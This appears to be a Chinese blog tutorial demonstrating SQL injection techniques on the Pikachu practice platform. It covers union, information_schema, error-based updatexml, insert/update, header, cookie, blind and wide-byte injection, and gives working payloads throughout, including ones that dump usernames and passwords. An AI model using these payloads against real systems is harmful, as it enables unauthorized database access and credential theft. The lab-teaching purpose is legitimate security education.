mysql sql注入例子_SQL注入的实际案例

发动SQL注入要做的三件事

确定Web应用程序所使用的技术

为了确定所采用的技术,攻击者可以考察Web页面的页脚,查看错误页面,检查页面源代码,或者使用诸如Nessus、AWVS、APPSCAN等工具来进行刺探。

确定所有可能的输入方式

一般来说,所有HTTP的GET和POST都应当作用户输入。为了找出一个Web应用所有可能的用户输入,我们可以求助于Web代理,如Burp等。

查找可以用于注射的用户输入

在找出所有用户输入方式后,就要对这些输入方式进行筛选,找出其中可以注入命令的那些输入方式,多留意Web应用的错误页面。

SQL注入前准备:

取消:显示友好HTTP错误信息的选项

防止http界面不提示错误。

41aa42dae24b

image.png

数字型注入

数据库中数字型sql注入,输入or 1=1之后全部显示出来了。

41aa42dae24b

image.png

下面我们通过burp抓包输入一个or 1=1设置一个payload,点击提交后,在Render中查看结果。通过判断存在SQL注入,且为数字型注入,可以通过拼接SQL语句来实现注入。

41aa42dae24b

image.png

字符型注入

pikachu平台,在SQL-Inject下选择字符型注入。输入在之前我们已经知道的一个id,登录成功。

数据库中,我们发现这个语句存在问题,发现这个语句的vince or 1=1是直接被认作字符串,我们在vince后面添加单引号来闭合vince,再在1=1后面添加注释#来消除掉后面的单引号,这样来完成一个SQL语句的拼接合法性。完整的语句为

select id,email from member where username='vince‘ or 1=1#'

41aa42dae24b

41aa42dae24b

选出了全部数据

41aa42dae24b

image.png

41aa42dae24b

image.png

union注入

union操作符用于合并两个或多个SQL语句集合起来,得到联合的查询结果。

41aa42dae24b

数据库联合查询

41aa42dae24b

image.png

41aa42dae24b

image.png

41aa42dae24b

image.png

因为查询的字段不能超过主查询的字段,这个时候可以在SQL语句后面加order by进行排序,通过这个办法可以判断主查询的字段。

注:union操作符一般与order by语句配合使用.

输入a' order by 4#%,反馈如图:

41aa42dae24b

4个字段错误

输入a' order by 3#%,反馈如图:

41aa42dae24b

为3个字段

通过这个简单的办法找到主查询一共有三个字段。之后我们来使用union来做一个SQL语句的拼接。输入构造好的语句a' union select database(),user(),version()#%尝试:

41aa42dae24b

image.png

information_schema注入

information_schema数据库是MySQL系统自带的数据库。其中保存着关于MySQL服务器所维护的所有其他数据库的信息。(比较常用!)

通过information_schema注入,我们可以将整个数据库内容全部窃取出来, 使用order by来判断查询的字段。先找出数据库的名称,输入

vince' union select database(),user(),3#%

41aa42dae24b

判断数据库名称为pikachu

获取pikachu数据库的表名,输入:

u' union select table_schema ,table_name,3 from information_schema.tables where table_schema='pikachu'#

41aa42dae24b

u' union select table_schema ,table_name,3 from information_schema.tables where table_schema='pikachu'#

获取pikachu数据库的字段名,输入:

k' union select table_name,column_name,3 from information_schema.columns where table_name='users'#%

41aa42dae24b

k' union select table_name,column_name,3 from information_schema.columns where table_name='users'#%

获取字段值的内容,输入:

kobe'union select username ,password,3 from users#%

41aa42dae24b

kobe'union select username ,password,3 from users#%

基于函数报错

在MYSQL中使用一些指定的函数来制造报错,从而从报错信息中获取设定的信息,常见的select/insert/update/delete注入都可以使用报错方式来获取信息。

适用场景:后台没有屏蔽数据库报错信息,在语法发生错误时会输出在前端.

常用报错函数:基于报错的信息获取

1、updatexml():函数是MYSQL对XML文档数据进行查询和修改的XPATH函数.

2、extractvalue() :函数也是MYSQL对XML文档数据进行查询的XPATH函数.

3、floor():MYSQL中用来取整的函数.

1、爆数据库版本信息

k' and updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1) #

41aa42dae24b

image.png

41aa42dae24b

image.png

2、爆数据库当前用户

k' and updatexml(1,concat(0x7e,(SELECT user()),0x7e),1)#

41aa42dae24b

image.png

41aa42dae24b

image.png

3、爆数据库

k' and updatexml(1,concat(0x7e,(SELECT database()),0x7e),1) #

41aa42dae24b

image.png

41aa42dae24b

image.png

4、爆表

k' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='pikachu'limit 2,1)),1)#

41aa42dae24b

image.png

41aa42dae24b

k' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='pikachu'limit 2,1)),1)#

insert注入

前端注册的信息最终会被后台通过insert这个操作插入数据库,后台在接受前端的注册数据时没有做防SQL注入的处理,导致前端的输入可以直接拼接SQL到后端的insert相关内容中,导致了insert注入。

到数据库中输入insert into member (username,pw,sex,phonenum,email,address) values('oldboy',123456,1,2,3,4);来插入一个用户,在输入select * from member;查看所有用户

41aa42dae24b

image.png

41aa42dae24b

找注入点:后加‘ 会提示sql的错误,有注入点因为开发没有做过滤

注入点爆表名

oldboy'or updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='pikachu' limit 0,1)),0) or'

41aa42dae24b

image.png

注入点爆破列

' or updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users'limit 2,1)),0) or'

41aa42dae24b

image.png

update注入

与insert注入的方法大体相同,区别在于update用于用户登陆端,insert用于用于用户注册端。

' or updatexml(0,concat(0x7e,(database())),0) or'

41aa42dae24b

image.png

delete注入

应用于前后端发贴、留言、用户等相关删除操作,点击删除按钮时可通过Brup Suite抓包,对数据包相关delete参数进行注入,注入方法如下:

41aa42dae24b

image.png

Http Header注入

pikachu平台打开Http Header注入模块,点击提示查看登录帐号和密码,登陆后去BurpSuite中找到登陆地GET请求,把请求发送到Repeater模块中,去除User-Agent:Mozilla/5.0后内容,然后Mozilla/5.0输入' or updatexml(1,concat(0x7e,database ()),0) or ' ,运行后观察MYSQL语法报错然后发现存在SQL注入漏洞。

41aa42dae24b

抓包找到get请求

41aa42dae24b

image.png

Cookie注入

Cookie是网站为了识别用户身份来跟踪会话的,虽然Cookie是由后端生成的,但每次页面跳转,后端都回对前端的Cookie的信息进行验证,但如果后端获取Cookie后放在数据库中进行拼接,那么这也将是一个SQL注入点。

41aa42dae24b

image.png

41aa42dae24b

image.png

41aa42dae24b

cookie插入sql注入语句

Boolian(布尔型)盲注

盲注,即在SQL注入过程中,SQL语句执行选择后,选择的数据不能回显到前端,我们需要使用一些特殊的方法进行判断或尝试,这个过程称为盲注(看不到结果)。

SQL盲注分为三大类:基于布尔型SQL盲注、基于时间型SQL盲注、基于报错型SQL盲注

通过嗅探得出数据库名称:(vince' and ascii(substr(database(),1,1))>XX)通过对比ascii码的长度,判断出数据库表名的第一个字符。

输入语句select ascii(substr(database(),1,1))>xx;

41aa42dae24b

猜测ASCII码

41aa42dae24b

小葵工具url转码p是112

41aa42dae24b

sql注入直到把数据库的全名探测

base on time(时间型)盲注

判断是否存在注入点,如果存在注入点则该界面会查询6秒(6秒是参数中设置的查询时间)(vince' and sleep(6)#)

注意:Asc码盲注不不适用于 时间型盲注。

到base on time盲注下,输入上个演示中设置好的payload vince' and ascii(substr(database(),1,1))=112#,返回的信息发现不存在注入点。那这样就不能进行注入了?但其实可以通过后端的执行时间来进行注入。这里会用到的payload: vince' and sleep(x)#

41aa42dae24b

时间盲注

宽字节注入

当我们把php.ini文件里面的magic_quotes_gqc参数设为ON时,所有的'(单引号),"(双引号),(反斜杠)和null字符都会被自动加上一个反斜杠进行转义。还有很多函数有类似的作用如:addslashes()、mysql_escape_string()、mysql_real_escape_string()等,另外还有parse_str()后的变量也受magic_quotes_gpc的影响。目前大多数的主机都打开了这个选项,并且很多程序员也注意使用上面那些函数去过滤变量,这看上去很安全,很多漏洞查找者或者工具遇到这些函数过滤后的变量直接就放弃,但是就在他们放弃的同时也放过很多致命的安全漏洞。

宽字节注入(kobe%df' or 1=1#)

41aa42dae24b

image.png

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值